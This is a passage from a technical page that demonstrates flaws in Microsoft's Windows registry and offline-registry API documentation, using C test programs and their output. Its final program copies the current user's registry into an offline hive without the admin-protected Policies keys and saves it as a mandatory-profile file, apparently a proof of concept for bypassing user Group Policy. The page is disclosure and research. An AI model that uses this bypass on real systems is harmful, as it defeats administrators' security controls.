			szKey[sizeof("HKEY_LOCAL_MACHINE") - 1UL + dwKey] = L'\0';
		}
		dwError = RegCloseKey(hKey);
	}
	return dwError;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		dwError = Blunder(hError, 0UL);
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Size (216 bytes) of data for value 'VideoBiosVersion' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System' greater than sum of string lengths (72 + 1 wide characters = 146 bytes) Size (8 bytes) of value data for value name 'FeatureSet' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0' greater than DWORD size Size (8 bytes) of value data for value name 'FeatureSet' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1' greater than DWORD size Size (12 bytes) of data for value 'Driver' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0' smaller than string length (6 + 1 wide characters = 14 bytes) Size (40 bytes) of data for value 'Identifier' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0' smaller than string length (20 + 1 wide characters = 42 bytes) Size (28 bytes) of data for value 'Type' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0' smaller than string length (14 + 1 wide characters = 30 bytes) Size (46 bytes) of data for value 'Identifier' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 1\Logical Unit Id 0' smaller than string length (23 + 1 wide characters = 48 bytes) Size (30 bytes) of data for value 'Type' in registry key 'HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 1\Logical Unit Id 0' smaller than string length (15 + 1 wide characters = 32 bytes) […] Size (16 bytes) of data for value 'ExecTime' in registry key 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown\0\0' greater than QWORD size Size (16 bytes) of data for value 'ExecTime' in registry key 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\0' greater than QWORD size Size (16 bytes) of data for value 'ExecTime' in registry key 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\1' greater than QWORD size […] Size (156 bytes) of data for value 'Description' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c' smaller than string length (78 + 1 wide characters = 158 bytes) Size (116 bytes) of data for value 'Description' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c\332f614f-c023-47bd-a74d-324c7fe0ae2b\0' smaller than string length (58 + 1 wide characters = 118 bytes) Size (144 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c\332f614f-c023-47bd-a74d-324c7fe0ae2b\1' smaller than string length (72 + 1 wide characters = 146 bytes) Size (96 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c\332f614f-c023-47bd-a74d-324c7fe0ae2c\0' smaller than string length (48 + 1 wide characters = 98 bytes) Size (96 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c\332f614f-c023-47bd-a74d-324c7fe0ae2c\1' smaller than string length (48 + 1 wide characters = 98 bytes) Size (92 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c\332f614f-c023-47bd-a74d-324c7fe0ae2c\7' smaller than string length (46 + 1 wide characters = 94 bytes) Size (92 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c\332f614f-c023-47bd-a74d-324c7fe0ae2c\8' smaller than string length (46 + 1 wide characters = 94 bytes) Size (88 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\528259f7-7bae-4f30-8321-8afa6e155c4c\332f614f-c023-47bd-a74d-324c7fe0ae2c\9' smaller than string length (44 + 1 wide characters = 90 bytes) Size (212 bytes) of data for value 'Description' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\89cc76a4-f226-4d4b-a040-6e9a1da9b882' smaller than string length (106 + 1 wide characters = 214 bytes) Size (228 bytes) of data for value 'Description' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\89cc76a4-f226-4d4b-a040-6e9a1da9b882\0' smaller than string length (114 + 1 wide characters = 230 bytes) Size (92 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\89cc76a4-f226-4d4b-a040-6e9a1da9b882\1' smaller than string length (46 + 1 wide characters = 94 bytes) Size (228 bytes) of data for value 'Description' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\89cc76a4-f226-4d4b-a040-6e9a1da9b882\1' smaller than string length (114 + 1 wide characters = 230 bytes) Size (172 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\aded5e82-b909-4619-9949-f5d71dac0bcc' smaller than string length (86 + 1 wide characters = 174 bytes) Size (92 bytes) of data for value 'ValueUnits' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\aded5e82-b909-4619-9949-f5d71dac0bcc' smaller than string length (46 + 1 wide characters = 94 bytes) Size (188 bytes) of data for value 'Description' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\aded5e82-b909-4619-9949-f5d71dac0bcd' smaller than string length (94 + 1 wide characters = 190 bytes) Size (80 bytes) of data for value 'ValueUnits' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\aded5e82-b909-4619-9949-f5d71dac0bcd' smaller than string length (40 + 1 wide characters = 82 bytes) Size (200 bytes) of data for value 'Description' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\aded5e82-b909-4619-9949-f5d71dac0bce' smaller than string length (100 + 1 wide characters = 202 bytes) Size (120 bytes) of data for value 'FriendlyName' in registry key 'HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\aded5e82-b909-4619-9949-f5d71dac0bce\0' smaller than string length (60 + 1 wide characters = 122 bytes) […] 0OUCH: contrary to the highlighted statements of the documentation cited above, the registry hives shipped with all versions of Windows contain
REG_SZ and REG_EXPAND_SZ values without a
            terminating NUL character as well as
            REG_DWORD and REG_QWORD values with more
            than 4 respectively 8 bytes!
        […] The offline registry functions provide the following capabilities that are not available with the standard registry functions:[…]
- […]
- The offline registry library requires only read access to open a registry hive file and write access to save the file. No other access checks are performed on objects in the hive, making it possible to modify the hive with standard user privileges.
Access checks on objects in the hive are not performed until the hive is loaded into an active registry with the
RegLoadKey()function.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <offreg.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	ORHKEY	orHKey;
	HKEY	hKey;
	BYTE	cbSD[65535];
	LPWSTR	lpSDDL;
	DWORD	dwSDDL;
	DWORD	dwSD = sizeof(cbSD);
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
		                       L"Software\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots",
		                       REG_OPTION_RESERVED,
		                       READ_CONTROL,
		                       &hKey);
		if (dwError == ERROR_SUCCESS)
		{
			dwError = RegGetKeySecurity(hKey,
			                            OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
			                            cbSD,
			                            &dwSD);
			RegCloseKey(hKey);
			if (dwError == ERROR_SUCCESS)
			{
				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(cbSD,
				                                                         SDDL_REVISION_1,
				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
				                                                         &lpSDDL,
				                                                         &dwSDDL))
					dwError = GetLastError();
				else
				{
					lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
					if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
						dwError = GetLastError();
					else
						if (dwError ^= dwSDDL)
							dwError = ERROR_WRITE_FAULT;
					//	else
					//		dwError = ERROR_SUCCESS;
					if (LocalFree(lpSDDL) != NULL)
						dwError = GetLastError();
				}
#ifndef BLUNDER
				dwError = ORCreateHive(&orHKey);
				if (dwError == ERROR_SUCCESS)
				{
					dwError = ORSetKeySecurity(orHKey,
					                           OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
					                           cbSD);
					ORCloseHive(orHKey);
				}
#else // BLUNDER
				dwError = RegCreateKeyEx(HKEY_CURRENT_USER,
				                         L"Blunder",
				                         0UL,
				                         (LPCWSTR) NULL,
				                         REG_OPTION_VOLATILE,
				                         DELETE | WRITE_DAC | WRITE_OWNER,
				                         (LPSECURITY_ATTRIBUTES) NULL,
				                         &hKey,
				                         (LPDWORD) NULL);
				if (dwError == ERROR_SUCCESS)
				{
					dwError = RegSetKeySecurity(hKey,
					                            OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
					                            cbSD);
					RegDeleteKey(hKey, L"");
					RegCloseKey(hKey);
				}
#endif // BLUNDER
			}
		}
	}
	ExitProcess(dwError);
}ORCloseHive()
            ORCreateHive()
            ORSetKeySecurity()
            RegCloseKey()
            RegCreateKeyEx()
            RegDeleteKey()
            RegOpenKeyEx()
            RegSetKeySecurity()
         Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/Gs69632 /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib offreg.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib offreg.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:(A;CI;KA;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;CI;KR;;;S-1-5-21-820728443-44925810-1835867902-1000)S:(ML;;NW;;;HI) 0x513 (WIN32: 1299 ERROR_INVALID_LABEL) -- 1299 (1299) Error message text: Indicates a particular Security ID may not be assigned as the label of an object. CertUtil: -error command completed successfully.OUCH¹: contrary to the highlighted statements of the documentation cited above, the Win32 function
ORSetKeySecurity()
            fails with Win32 error code 1299 alias
            ERROR_INVALID_LABEL
            writing the
            security descriptor
            of the registry key
            HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots
            to an arbitrary key of an offline registry hive – the
            security identifier
            of the
            mandatory label
            (ML;;NW;;;HI)
            is S-1-16-12288 alias
            high integrity level.
        ORCreateHive()
            states:
        Creates an offline registry hive that contains a single empty root key.OUCH⁰: the SAL annotation from the parameter description differs from the annotation of the function declaration – a proper documentation should but be consistent! Using SAL Annotations to Reduce C/C++ Code DefectsphkResult [out]DWORD ORCreateHive( _Out_ PORHKEY phkResult );Points to a variable to receive a handle to the root key of the newly created offline registry hive. If the hive cannot be created, the function sets this parameter to NULL.
[…]
If the function succeeds, the return value is ERROR_SUCCESS.
[…]
The ORCreateHive function creates an empty offline registry hive in memory. Use the ORCreateKey and ORSetValue functions to add keys and set their values.
 The documentation for the Win32 function
            ORCreateKey()
            states:
        
Creates the specified registry key in an offline registry hive. If the key already exists, the function opens it.OUCH¹: the SAL annotations from the parameter descriptions differ from the annotations of the function declaration – a proper documentation should but be consistent![…]DWORD ORCreateKey( _In_ ORHKEY Handle, _In_ PCWSTR lpSubKey, _In_opt_ PWSTR lpClass, _In_opt_ DWORD dwOptions, _In_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor, _Out_ PORHKEY phkResult, _Out_opt_ PDWORD pdwDisposition );lpSubKey [in]
A pointer to a Unicode string that contains the name of a subkey that this function opens or creates. The lpSubKey parameter must specify a subkey of the key identified by the Handle parameter; it can be up to 32 levels deep in the registry tree. For more information about key names, see Structure of the Registry.
This parameter cannot be NULL.
Key names are not case sensitive.
lpClass [in, optional]
The class (object type) of this key. This parameter may be ignored. This parameter can be NULL.
 OUCH²: the lpClass parameter
            should of course be declared as PCWSTR, i.e. as pointer
            to a constant Unicode string!
        
 The documentation for the Win32 function
            ORDeleteKey()
            states:
        
Deletes a subkey and its values from an offline registry hive.OUCH³: the SAL annotations from the parameter descriptions differ from the annotations of the function declaration – a proper documentation should but be consistent![…]DWORD ORDeleteKey( _In_ ORHKEY Handle, _In_opt_ PCWSTR lpSubKey );Handle [in]
A handle to an open registry key in an offline registry hive. This handle is returned by the ORCreateKey or OROpenKey function.
lpSubKey [in, optional]
 OUCH⁴: the Win32 functions
            ORCreateHive()
            and
            OROpenHive()
            return a handle to an open registry key too!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <offreg.h>
const	WCHAR	szSubKey[] = L"Blunder\\Blunder";
const	WCHAR	szClass[] = L"Blunder";
const	SID	owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID},
		group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION, 0U,
				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
				      &owner, &group, NULL, NULL};
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	ORHKEY	orHKey, orHSubKey;
	ORCreateHive(&orHKey);
	if (orHKey != NULL)
	{
		dwError = ORCreateKey(orHKey,
		                      szSubKey,
		                      szClass,
		                      REG_OPTION_NON_VOLATILE,
		                      &sd,
		                      &orHSubKey,
		                      (LPDWORD) NULL);
		if (dwError == ERROR_SUCCESS)
			ORCloseKey(orHSubKey);
		ORCloseHive(orHKey);
	}
	ExitProcess(dwError);
}ORCloseHive()
            ORCloseKey()
            ORCreateHive()
         Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib offreg.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(17) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(17) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(30) : warning C4090: 'function' : different 'const' qualifiers blunder.c(32) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib offreg.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.OUCH⁵: the Win32 function
ORCreateKey()
            fails with Win32 error code 2 alias
            ERROR_FILE_NOT_FOUND
            – contrary to the highlighted statement of its
            documentation cited above it supports only a
            single instead of (up to) 32 levels!
        [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies]
            and [HKEY_CURRENT_USER\Software\Policies] where user
            Group Policies are stored are protected by a
            DACL
            that grants write access only to members of the
            BUILTIN\Administrators group and
            the NT AUTHORITY\SYSTEM alias
            LocalSystem
            account.
        The MSDN article About User Profiles states:
The system creates a user profile the first time that a user logs on to a computer. At subsequent logons, the system loads the user's profile, and then other system components configure the user's environment according to the information in the profile.Note: the user’s registry hive[…]
A user profile consists of the following elements:
- A registry hive. The registry hive is the file NTuser.dat. The hive is loaded by the system at user logon, and it is mapped to the HKEY_CURRENT_USER registry key. The user's registry hive maintains the user's registry-based preferences and configuration.
%USERPROFILE%\NTuser.dat is opened with exclusive
            (read, write and delete/rename) access while the user is logged on,
            thus preventing modification or removal of this file by the user.
        The MSDN article Mandatory User Profiles states:
User profiles become mandatory profiles when the administrator renames the NTuser.dat file (the registry hive) on the server to NTuser.man. The .man extension causes the user profile to be a read-only profile.CAVEAT: both MSDN articles but fail to tell that Local User Profiles too support the
%USERPROFILE%\NTuser.man registry hive,
            which when present is loaded instead of the
            %USERPROFILE%\NTuser.dat registry hive!
            KB161334 - Guide to Windows NT 4.0 Profiles and Policies (Part 1 of 6)
            KB185587 - Guide to Windows NT 4.0 Profiles and Policies (Part 2 of 6)
            KB185588 - Guide to Windows NT 4.0 Profiles and Policies (Part 3 of 6)
            KB185589 - Guide to Windows NT 4.0 Profiles and Policies (Part 4 of 6)
            KB185591 - Guide to Windows NT 4.0 Profiles and Policies (Part 6 of 6)
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <offreg.h>
#define MAX_DEPTH		512UL
#define MAX_KEY_LENGTH		255UL
#define MAX_CLASS_NAME		32766UL
#define MAX_VALUE_NAME		16383UL
#define MAX_VALUE_DATA		1048576UL
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
WCHAR	szKey[(MAX_KEY_LENGTH + 1UL) * MAX_DEPTH];
WCHAR	szClass[MAX_CLASS_NAME + 1UL];
WCHAR	szValue[MAX_VALUE_NAME + 1UL];
BYTE	cbData[MAX_VALUE_DATA];
BYTE	cbSD[65535];
const	LPCWSTR	szType[12] = {L"NONE",
		              L"SZ",
		              L"EXPAND_SZ",
		              L"BINARY",
		              L"DWORD",		// alias DWORD_LITTLE_ENDIAN
		              L"DWORD_BIG_ENDIAN",
		              L"LINK",
		              L"MULTI_SZ",
		              L"RESOURCE_LIST",
		              L"FULL_RESOURCE_DESCRIPTOR",
		              L"RESOURCE_REQUIREMENTS_LIST",
		              L"QWORD"};	// alias QWORD_LITTLE_ENDIAN
DWORD	WINAPI	Blunder(HANDLE hConsole, ORHKEY orHKey, DWORD dwKey)
{
	HKEY	hKey;
	ORHKEY	orHSubKey;
	DWORD	dwSubKey;
	DWORD	dwSD = sizeof(cbSD);
	DWORD	dwData;
	DWORD	dwType;
	DWORD	dwValue;
	DWORD	dwIndex;
	DWORD	dwClass;
	DWORD	dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
		                       szKey + sizeof("HKEY_CURRENT_USER"),
		                       REG_OPTION_OPEN_LINK,
		                       KEY_READ | KEY_WOW64_64KEY,
		                       &hKey);
	if (dwError != ERROR_SUCCESS)
		PrintConsole(hConsole,
		             L"RegOpenKeyEx() returned error %lu for registry key \'%ls\'\n",
		             dwError, szKey);
	else
	{
		dwError = RegGetKeySecurity(hKey,
		                            OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
		                            cbSD,
		                            &dwSD);
		if (dwError != ERROR_SUCCESS)
			PrintConsole(hConsole,
			             L"RegGetKeySecurity() returned error %lu for registry key \'%ls\'\n",
			             dwError, szKey);
		else
		{
			dwError = ORSetKeySecurity(orHKey,
			                           OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
			                           cbSD);
			if (dwError != ERROR_SUCCESS)
				PrintConsole(hConsole,
				             L"ORSetKeySecurity() returned error %lu for registry key \'%ls\'\n",
				             dwError, szKey);
		}
		for (dwIndex = 0UL;; dwIndex++)
		{
		//	*szValue = L'\0';
			dwValue = sizeof(szValue) / sizeof(*szValue);
			dwData = sizeof(cbData);
			dwError = RegEnumValue(hKey,
			                       dwIndex,
			                       szValue,
			                       &dwValue,
			                       (LPDWORD) NULL,
			                       &dwType,
			                       cbData,
			                       &dwData);
			if (dwError == ERROR_NO_MORE_ITEMS)
				break;
			if (dwError != ERROR_SUCCESS)
				PrintConsole(hConsole,
				             L"RegEnumValue() returned error %lu for registry key \'%ls\'\n",
				             dwError, szKey);
			else
			{
				dwError = ORSetValue(orHKey,
				                     szValue,
				                     dwType,
				                     cbData,
				                     dwData);
				if (dwError != ERROR_SUCCESS)
					PrintConsole(hConsole,
					             L"ORSetValue() returned error %lu for REG_%ls value \'%ls\' of registry key \'%ls\'\n",
					             dwError, dwType < sizeof(szType) / sizeof(*szType) ? szType[dwType] : L"UNKNOWN", szValue, szKey);
			}
		}
		for (dwIndex = 0UL;; dwIndex++)
		{
			dwSubKey = sizeof(szKey) / sizeof(*szKey) - sizeof("HKEY_CURRENT_USER") - dwKey;
			dwClass = sizeof(szClass) / sizeof(*szClass);
			dwError = RegEnumKeyEx(hKey,
			                       dwIndex,
			                       szKey + sizeof("HKEY_CURRENT_USER") + dwKey,
			                       &dwSubKey,
			                       (LPDWORD) NULL,
			                       szClass,
			                       &dwClass,
			                       (LPFILETIME) NULL);
			if (dwError == ERROR_NO_MORE_ITEMS)
				break;
			if (dwError != ERROR_SUCCESS)
				PrintConsole(hConsole,
				             L"RegEnumKeyEx() returned error %lu for registry key \'%ls\'\n",
				             dwError, szKey);
			else if ((memcmp(szKey + sizeof("HKEY_CURRENT_USER") + dwKey, L"Policies", sizeof(L"Policies")) != 0)
			      && (memcmp(szKey + sizeof("HKEY_CURRENT_USER") + dwKey, L"Volatile Environment", sizeof(L"Volatile Environment")) != 0))
			{
				szKey[sizeof("HKEY_CURRENT_USER") - 1UL + dwKey] = L'\\';
				dwError = ORCreateKey(orHKey,
				                      szKey + sizeof("HKEY_CURRENT_USER") + dwKey,
				                      dwClass ? szClass : NULL,
				                      REG_OPTION_NON_VOLATILE,
				                      (SECURITY_DESCRIPTOR *) NULL,
				                      &orHSubKey,
				                      (LPDWORD) NULL);
				if (dwError != ERROR_SUCCESS)
					PrintConsole(hConsole,
					             L"ORCreateKey() returned error %lu for registry key \'%ls\'\n",
					             dwError, szKey);
				else
				{
					dwError = Blunder(hConsole, orHSubKey, dwKey + 1UL + dwSubKey);
					dwError = ORCloseKey(orHSubKey);
					if (dwError != ERROR_SUCCESS)
						PrintConsole(hConsole,
						             L"ORCloseKey() returned error %lu for registry key \'%ls\'\n",
						             dwError, szKey);
				}
				szKey[sizeof("HKEY_CURRENT_USER") - 1UL + dwKey] = L'\0';
			}
		}
		dwError = RegCloseKey(hKey);
		if (dwError != ERROR_SUCCESS)
			PrintConsole(hConsole,
			             L"RegCloseKey() returned error %lu for registry key \'%ls\'\n",
			             dwError, szKey);
	}
	return dwError;
}
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	OSVERSIONINFO	osvi;
	ORHKEY	orHKey;
	HKEY	hKey;
	DWORD	dwData = sizeof(cbData);
	DWORD	dwType;
	DWORD	dwMajor;
	DWORD	dwMinor;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		osvi.dwOSVersionInfoSize = sizeof(osvi);
		if (!GetVersionEx(&osvi))
			PrintConsole(hError,
			             L"GetVersionEx() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			ORGetVersion(&dwMajor, &dwMinor);
			PrintConsole(hError,
			             L"OFFREG.dll version %lu.%lu\n",
			             dwMajor, dwMinor);
			dwError = ORCreateHive(&orHKey);
			if (dwError != ERROR_SUCCESS)
				PrintConsole(hError,
				             L"ORCreateHive() returned error %lu\n",
				             dwError);
			else
			{
				memcpy(szKey, L"HKEY_CURRENT_USER", sizeof(L"HKEY_CURRENT_USER"));
				dwError = Blunder(hError, orHKey, 0UL);
				memcpy(szKey, L"HKEY_CURRENT_USER\\Software\\Classes", sizeof(L"HKEY_CURRENT_USER\\Software\\Classes"));
				dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
				                       szKey + sizeof("HKEY_CURRENT_USER"),
				                       REG_OPTION_OPEN_LINK,
				                       KEY_READ | KEY_WOW64_64KEY,
				                       &hKey);
				if (dwError != ERROR_SUCCESS)
					PrintConsole(hError,
					             L"RegOpenKeyEx() returned error %lu for registry key \'%ls\'\n",
					             dwError, szKey);
				else
				{
					dwError = RegQueryValueEx(hKey,
					                          L"SymbolicLinkValue",
					                          (LPDWORD) NULL,
					                          &dwType,
					                          cbData,
					                          &dwData);
					if (dwError != ERROR_SUCCESS)
						PrintConsole(hError,
						             L"RegQueryValueEx() returned error %lu for REG_%ls value \'%ls\' of registry key \'%ls\'\n",
						             dwError, szType[REG_LINK], L"SymbolicLinkValue", szKey);
					else if (dwType == REG_LINK)
					{
						dwError = ORDeleteKey(orHKey, szKey + sizeof("HKEY_CURRENT_USER"));
						if (dwError != ERROR_SUCCESS)
							PrintConsole(hError,
							             L"ORDeleteKey() returned error %lu for registry key \'%ls\'\n",
							             dwError, szKey);
					}
					dwError = RegCloseKey(hKey);
					if (dwError != ERROR_SUCCESS)
						PrintConsole(hError,
						             L"RegCloseKey() returned error %lu for registry key \'%ls\'\n",
						             dwError, szKey);
				}
				dwError = ORSaveHive(orHKey, L"blunder.man", osvi.dwMajorVersion, osvi.dwMinorVersion);
				if (dwError != ERROR_SUCCESS)
